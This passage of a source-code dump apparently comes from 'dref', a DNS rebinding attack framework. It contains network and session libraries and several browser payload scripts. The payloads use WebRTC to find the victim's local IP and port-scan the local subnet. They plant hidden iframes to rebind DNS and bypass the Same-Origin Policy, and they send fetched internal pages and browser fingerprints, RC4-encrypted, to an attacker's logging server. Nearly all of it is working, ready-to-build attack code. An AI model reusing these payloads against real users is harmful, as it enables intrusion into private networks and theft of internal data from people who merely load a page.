| s[j] = x 69 | res += String.fromCharCode(str.charCodeAt(y) ^ s[(s[i] + s[j]) % 256]) 70 | } 71 | 72 | return res 73 | } 74 | -------------------------------------------------------------------------------- /dref/scripts/src/libs/network.js: -------------------------------------------------------------------------------- 1 | import IPCIDR from 'ip-cidr' 2 | 3 | export function postJSON (url, data, { headers, successCb, failCb, timeoutCb } = {}) { 4 | const xhr = new XMLHttpRequest() 5 | 6 | xhr.onreadystatechange = function () { 7 | if (xhr.readyState === 4 && xhr.status >= 200 && xhr.status < 400) { 8 | typeof successCb === 'function' && successCb() 9 | } else { 10 | typeof failCb === 'function' && failCb() 11 | } 12 | } 13 | 14 | xhr.ontimeout = function () { 15 | timeoutCb() 16 | } 17 | 18 | xhr.open('POST', url, true) 19 | xhr.setRequestHeader('Content-type', 'application/json; charset=utf-8') 20 | 21 | // set headers 22 | for (let header in headers) { 23 | xhr.setRequestHeader(header, headers[header]) 24 | } 25 | 26 | xhr.send(JSON.stringify(data)) 27 | } 28 | 29 | export function get (url, { headers, successCb, failCb, timeoutCb } = {}) { 30 | const xhr = new XMLHttpRequest() 31 | 32 | xhr.onreadystatechange = function () { 33 | if (xhr.readyState === 4) { 34 | if (xhr.status >= 200 && xhr.status < 400 && typeof successCb === 'function') { 35 | successCb(xhr.status, xhr.getAllResponseHeaders(), xhr.response) 36 | } else if (typeof failCb === 'function') { 37 | failCb(xhr.status, xhr.getAllResponseHeaders(), xhr.response) 38 | } 39 | } 40 | } 41 | 42 | xhr.ontimeout = function () { 43 | timeoutCb() 44 | } 45 | 46 | xhr.open('GET', url, true) 47 | xhr.timeout = 5000 48 | xhr.setRequestHeader('Pragma', 'no-cache') 49 | xhr.setRequestHeader('Cache-Control', 'no-cache') 50 | 51 | // set headers 52 | for (let header in headers) { 53 | xhr.setRequestHeader(header, headers[header]) 54 | } 55 | 56 | xhr.send() 57 | } 58 | 59 | export function post (url, data, { headers, successCb, failCb, timeoutCb } = {}) { 60 | const xhr = new XMLHttpRequest() 61 | 62 | xhr.onreadystatechange = function () { 63 | if (xhr.readyState === 4) { 64 | if (xhr.status >= 200 && xhr.status < 400 && typeof successCb === 'function') { 65 | successCb(xhr.status, xhr.getAllResponseHeaders, xhr.response) 66 | } else if (typeof failCb === 'function') { 67 | failCb(xhr.status, xhr.getAllResponseHeaders(), xhr.response) 68 | } 69 | } 70 | } 71 | 72 | xhr.ontimeout = function () { 73 | timeoutCb() 74 | } 75 | 76 | xhr.open('POST', url, true) 77 | xhr.setRequestHeader('Pragma', 'no-cache') 78 | xhr.setRequestHeader('Cache-Control', 'no-cache') 79 | xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded') 80 | 81 | // set headers 82 | for (let header in headers) { 83 | xhr.setRequestHeader(header, headers[header]) 84 | } 85 | 86 | xhr.send(data) 87 | } 88 | 89 | // https://github.com/muaz-khan/DetectRTC/blob/master/DetectRTC.js 90 | export function webRTCSupported () { 91 | var supported = false; 92 | ['RTCPeerConnection', 'webkitRTCPeerConnection', 'mozRTCPeerConnection', 'RTCIceGatherer'].forEach(function (item) { 93 | if (supported) { 94 | return 95 | } 96 | 97 | if (item in window) { 98 | supported = true 99 | } 100 | }) 101 | 102 | return supported 103 | } 104 | 105 | // https://stackoverflow.com/questions/32837471/how-to-get-local-internal-ip-with-javascript 106 | export function getLocalIP () { 107 | return new Promise(function (resolve, reject) { 108 | if (!webRTCSupported()) { 109 | resolve('') 110 | } 111 | 112 | window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection 113 | var pc = new RTCPeerConnection({ iceServers: [] }) 114 | var noop = function () {} 115 | var localIP 116 | 117 | pc.createDataChannel('') 118 | pc.createOffer(pc.setLocalDescription.bind(pc), noop) 119 | pc.onicecandidate = function (ice) { 120 | if (!ice || !ice.candidate || !ice.candidate.candidate) return 121 | localIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1] 122 | resolve(localIP) 123 | } 124 | }) 125 | } 126 | 127 | export async function getLocalSubnet (suffix = 24) { 128 | const localIp = await getLocalIP() 129 | if (localIp === '') return [] 130 | 131 | const cidr = new IPCIDR(localIp + '/' + suffix) 132 | return cidr.toArray() 133 | } 134 | -------------------------------------------------------------------------------- /dref/scripts/src/libs/session.js: -------------------------------------------------------------------------------- 1 | import * as crypto from './crypto' 2 | import * as network from './network' 3 | 4 | export default class Session { 5 | constructor () { 6 | this.sessionId = crypto.randomHex(24) 7 | this.sessionKey = crypto.xor(this.sessionId, crypto.staticKey) 8 | this.sessionPort = parseInt(window.location.port) || 80 9 | 10 | // Cross-origin logging endpoint (Access-Control-Allow-Origin: *) 11 | this.logURL = 'http://' + window.env.address + ':' + window.env.logPort + '/logs' 12 | // Same-origin endpoint for regular API requests 13 | this.baseURL = 'http://' + window.location.host 14 | } 15 | 16 | log (data) { 17 | const logData = { 18 | data: data, 19 | meta: { 20 | env: window.env, 21 | args: window.args 22 | } 23 | } 24 | 25 | const payload = {} 26 | payload.s = this.sessionId 27 | payload.d = btoa(crypto.rc4(this.sessionKey, JSON.stringify(logData))) 28 | 29 | network.postJSON(this.logURL, payload) 30 | } 31 | 32 | createRebindFrame (address, port, { target, script, args, fastRebind } = {}) { 33 | target = target || crypto.randomHex(24) 34 | fastRebind = fastRebind || window.env.fastRebind 35 | args = args || {} 36 | args._rebind = true 37 | 38 | // create the new target 39 | network.postJSON(this.baseURL + '/targets', { 40 | target: target, 41 | script: script || window.env.script, 42 | fastRebind: fastRebind, 43 | args: args 44 | }, { 45 | successCb: () => { 46 | network.postJSON(this.baseURL + '/arecords', { 47 | domain: target + '.' + window.env.domain, 48 | address: address, 49 | port: port, 50 | dual: fastRebind 51 | }, { 52 | successCb: () => { 53 | // create the iframe 54 | const ifrm = document.createElement('iframe') 55 | ifrm.setAttribute('src', 'http://' + target + '.' + window.env.domain + ':' + port) 56 | ifrm.style.display = 'none' 57 | document.body.appendChild(ifrm) 58 | } 59 | }) 60 | } 61 | }) 62 | } 63 | 64 | triggerRebind () { 65 | return new Promise(async (resolve, reject) => { 66 | // update the arecord 67 | network.postJSON(this.baseURL + '/arecords', { 68 | domain: window.env.target + '.' + window.env.domain, 69 | rebind: true 70 | }, { 71 | successCb: () => { 72 | // block this port if we're doing fastRebind 73 | if (window.env.fastRebind) { 74 | network.postJSON(this.baseURL + '/iptables', { 75 | port: this.sessionPort, 76 | block: true 77 | }) 78 | } else { 79 | // flush Chrome's DNS cache - a bit less fast rebinding without the 80 | // fastRebind mode overhead 81 | // for (let i = 0; i < 1024; i++) { 82 | // let url = 'http://' + i + '.' + window.env.domain 83 | // fetch(url, { mode: 'no-cors' }) 84 | // } 85 | } 86 | } 87 | }) 88 | 89 | // wait for rebinding to occur 90 | const wait = (time) => { 91 | network.get(this.baseURL + '/checkpoint', { 92 | successCb: function () { 93 | // success callback 94 | // if we're still getting a 200 OK on /checkpoint it means we're 95 | // doing slow-rebind and we've not yet rebinded 96 | window.setTimeout(() => { 97 | wait(time) 98 | }, time) 99 | }, 100 | failCb: function (code) { 101 | // fail callback 102 | 103 | // if we get an error code of 0 it means we're using fast-rebind 104 | // and we've not yet rebinded 105 | if (code === 0) { 106 | window.setTimeout(() => { 107 | wait(time) 108 | }, time) 109 | } else { 110 | // if we're getting another error it means we've rebinded 111 | // (ie: the test path /checkpoint doesn't exist on the host) 112 | resolve() 113 | } 114 | }, 115 | timeoutCb: function () { 116 | // timeout callback 117 | } 118 | }) 119 | } 120 | wait(1000) 121 | }) 122 | } 123 | 124 | createFastRebindFrame (address, port, params = {}) { 125 | // keep track of the timeout IDs for the last rebind attempt 126 | // we use this to stop calling attemptRebind once we have a successful rebind 127 | let attemptIds = [] 128 | 129 | // receiving a message from child frame means rebinding was successful 130 | window.addEventListener('message', function () { 131 | for (let id of attemptIds) { 132 | clearTimeout(id) 133 | } 134 | }, false) 135 | 136 | // keep trying fast DNS rebinding until it works 137 | const attemptRebind = (time) => { 138 | this.createRebindFrame(address, port, params) 139 | 140 | attemptIds.push(window.setTimeout(() => { 141 | attemptRebind(time) 142 | }, time)) 143 | } 144 | 145 | attemptRebind(1000) 146 | } 147 | 148 | triggerFastRebind () { 149 | window.parent.postMessage('ack', '*') 150 | 151 | return this.triggerRebind() 152 | } 153 | 154 | done () { 155 | if (window.env.fastRebind) { 156 | network.postJSON('http://' + window.env.address + ':' + window.env.logPort + '/iptables', { 157 | port: this.sessionPort, 158 | block: false 159 | }) 160 | } 161 | } 162 | } 163 | -------------------------------------------------------------------------------- /dref/scripts/src/payloads/fast-rebind.js: -------------------------------------------------------------------------------- 1 | // This is an implementation of the `fetch-page.js` payload using the 2 | // framework's fastRebind capability. 3 | // the fastRebind mode serves two A records (the original remote and the rebind 4 | // target) and uses iptables rules to block the original remote after the 5 | // payload has been loaded. On Chromium this will trigger a faster rebind, 6 | // bypassing the need to wait for the DNS cache timeout. 7 | 8 | import * as network from '../libs/network' 9 | import Session from '../libs/session' 10 | 11 | const session = new Session() 12 | 13 | async function mainFrame () { 14 | session.createFastRebindFrame(window.args.host, window.args.port, { 15 | args: { 16 | path: window.args.path 17 | } 18 | }) 19 | } 20 | 21 | function rebindFrame () { 22 | session.triggerFastRebind().then(() => { 23 | network.get(session.baseURL + window.args.path, { 24 | successCb: (code, headers, body) => { 25 | // success callback 26 | session.log({ code: code, headers: headers, body: body }) 27 | session.done() 28 | }, 29 | failCb: (code, headers, body) => { 30 | // fail callback 31 | // (we still want to exfiltrate the response even if it's i.e. a 404) 32 | session.log({ code: code, headers: headers, body: body }) 33 | session.done() 34 | } 35 | }) 36 | }) 37 | } 38 | 39 | if (window.args && window.args._rebind) rebindFrame() 40 | else mainFrame() 41 | -------------------------------------------------------------------------------- /dref/scripts/src/payloads/fetch-page.js: -------------------------------------------------------------------------------- 1 | import * as network from '../libs/network' 2 | import Session from '../libs/session' 3 | 4 | const session = new Session() 5 | 6 | async function mainFrame () { 7 | session.createRebindFrame(window.args.host, window.args.port, { 8 | // the rebindFrame function is run in another iFrame 9 | // behind the scenes, the script is re-delivered using a new "target" subdomain (cf. api) 10 | // we can pass args to that new iFrame, and we need to pass the path in this case 11 | args: { 12 | path: window.args.path 13 | } 14 | }) 15 | } 16 | 17 | function rebindFrame () { 18 | session.triggerRebind().then(() => { 19 | network.get(session.baseURL + window.args.path, { 20 | successCb: (code, headers, body) => { 21 | // success callback 22 | session.log({ code: code, headers: headers, body: body }) 23 | }, 24 | failCb: (code, headers, body) => { 25 | // fail callback 26 | // (we still want to exfiltrate the response even if it's i.e. a 404) 27 | session.log({ code: code, headers: headers, body: body }) 28 | } 29 | }) 30 | }) 31 | } 32 | 33 | if (window.args && window.args._rebind) rebindFrame() 34 | else mainFrame() 35 | -------------------------------------------------------------------------------- /dref/scripts/src/payloads/port-scan.js: -------------------------------------------------------------------------------- 1 | import NetMap from 'netmap.js' 2 | import * as network from '../libs/network' 3 | import Session from '../libs/session' 4 | 5 | const session = new Session() 6 | const netmap = new NetMap() 7 | 8 | async function main () { 9 | const localSubnet = await network.getLocalSubnet(24) 10 | 11 | netmap.tcpScan(localSubnet, window.args.ports).then(results => { 12 | session.log(results) 13 | }) 14 | } 15 | 16 | main() 17 | -------------------------------------------------------------------------------- /dref/scripts/src/payloads/sysinfo.js: -------------------------------------------------------------------------------- 1 | import Session from '../libs/session' 2 | import { webRTCSupported, getLocalIP } from '../libs/network' 3 | 4 | async function main () { 5 | const session = new Session() 6 | const date = new Date() 7 | const data = {} 8 | 9 | data.browser = {} 10 | data.browser.navigator = {} 11 | data.browser.navigator.userAgent = navigator.userAgent 12 | data.browser.navigator.language = navigator.language 13 | data.browser.navigator.appName = navigator.appName 14 | data.browser.navigator.appCodeName = navigator.appCodeName 15 | data.browser.navigator.appVersion = navigator.appVersion 16 | data.browser.navigator.product = navigator.product 17 | data.browser.navigator.platform = navigator.platform 18 | data.browser.navigator.oscpu = navigator.oscpu 19 | data.browser.navigator.hardwareConcurrency = navigator.hardwareConcurrency 20 | 21 | data.browser.window = {} 22 | data.browser.window.inner = {} 23 | data.browser.window.inner.height = window.innerHeight 24 | data.browser.window.inner.width = window.innerWidth 25 | 26 | data.browser.plugins = [] 27 | for (let i = 0; i < navigator.plugins.length; i++) { 28 | data.browser.plugins.push(navigator.plugins[i].name) 29 | } 30 | 31 | data.browser.components = {} 32 | data.browser.components.webAssembly = (typeof window.WebAssembly !== 'undefined') 33 | data.browser.components.webSocket = (typeof window.WebSocket !== 'undefined') 34 | data.browser.components.webRTC = webRTCSupported() 35 | 36 | data.system = {} 37 | data.system.time = date.toString() 38 | 39 | data.system.screen = {} 40 | data.system.screen.height = screen.height 41 | data.system.screen.width = screen.width 42 | 43 | data.system.network = {} 44 | data.system.network.localIP = await getLocalIP() 45 | 46 | session.log(data) 47 | } 48 | 49 | main() 50 | -------------------------------------------------------------------------------- /dref/scripts/src/payloads/web-discover.js: -------------------------------------------------------------------------------- 1 | import NetMap from 'netmap.js' 2 | import * as network from '../libs/network' 3 | import Session from '../libs/session' 4 | 5 | const session = new Session() 6 | 7 | // mainFrame() runs first 8 | async function mainFrame () { 9 | const netmap = new NetMap() 10 | // Use some tricks to derive the browser's local /24 subnet 11 | const localSubnet = await network.getLocalSubnet(24) 12 | 13 | // Use some more tricks to scan a couple of ports across the subnet 14 | netmap.tcpScan(localSubnet, [80, 8080]).then(results => { 15 | // Launch the rebind attack on live targets 16 | for (let h of results.hosts) { 17 | for (let p of h.ports) { 18 | if (p.open) session.createRebindFrame(h.host, p.port) 19 | } 20 | } 21 | }) 22 | } 23 | 24 | // rebindFrame() will have target ip:port as origin 25 | function rebindFrame () { 26 | // After this we'll have bypassed the Same-Origin Policy 27 | session.triggerRebind().then(() => { 28 | // We can now read the response across origin... 29 | network.get(session.baseURL, { 30 | successCb: (code, headers, body) => { 31 | // ... and exfiltrate it 32 | session.log({ code: code, headers: headers, body: body }) 33 | } 34 | }) 35 | }) 36 | } 37 | 38 | if (window.args && window.args._rebind) rebindFrame() 39 | else mainFrame() 40 | -------------------------------------------------------------------------------- /dref/scripts/webpack.config.js: -------------------------------------------------------------------------------- 1 | const path = require('path') 2 | // const JavaScriptObfuscator = require('webpack-obfuscator') 3 | const WebpackWatchedGlobEntries = require('webpack-watched-glob-entries-plugin') 4 | 5 | const HOST = process.env.HOST 6 | const PORT = process.env.PORT && Number(process.env.PORT) 7 | 8 | module.exports = { 9 | entry: WebpackWatchedGlobEntries.getEntries( 10 | [path.resolve(__dirname, 'src/payloads/*.js')] 11 | ), 12 | output: { 13 | filename: '[name].js', 14 | path: path.resolve(__dirname, 'dist'), 15 | publicPath: '/scripts/' 16 | }, 17 | devServer: { 18 | host: HOST, 19 | port: PORT, 20 | contentBase: path.join(__dirname, 'dist'), 21 | hot: false, 22 | inline: false, 23 | disableHostCheck: true 24 | }, 25 | performance: { 26 | hints: false 27 | }, 28 | plugins: [ 29 | // new JavaScriptObfuscator(), 30 | new WebpackWatchedGlobEntries() 31 | ], 32 | module: { 33 | rules: [ 34 | { 35 | test: /\.js$/, 36 | exclude: /node_modules/, 37 | loader: 'eslint-loader', 38 | options: { 39 | // eslint options (if necessary) 40 | } 41 | } 42 | ] 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /greenkeeper.json: -------------------------------------------------------------------------------- 1 | { 2 | "groups": { 3 | "default": { 4 | "packages": [ 5 | "dref/api/package.json", 6 | "dref/dns/package.json", 7 | "dref/scripts/package.json" 8 | ] 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /iptables-node-alpine.Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:9.11.1-alpine 2 | RUN apk update 3 | RUN apk add iptables 4 | --------------------------------------------------------------------------------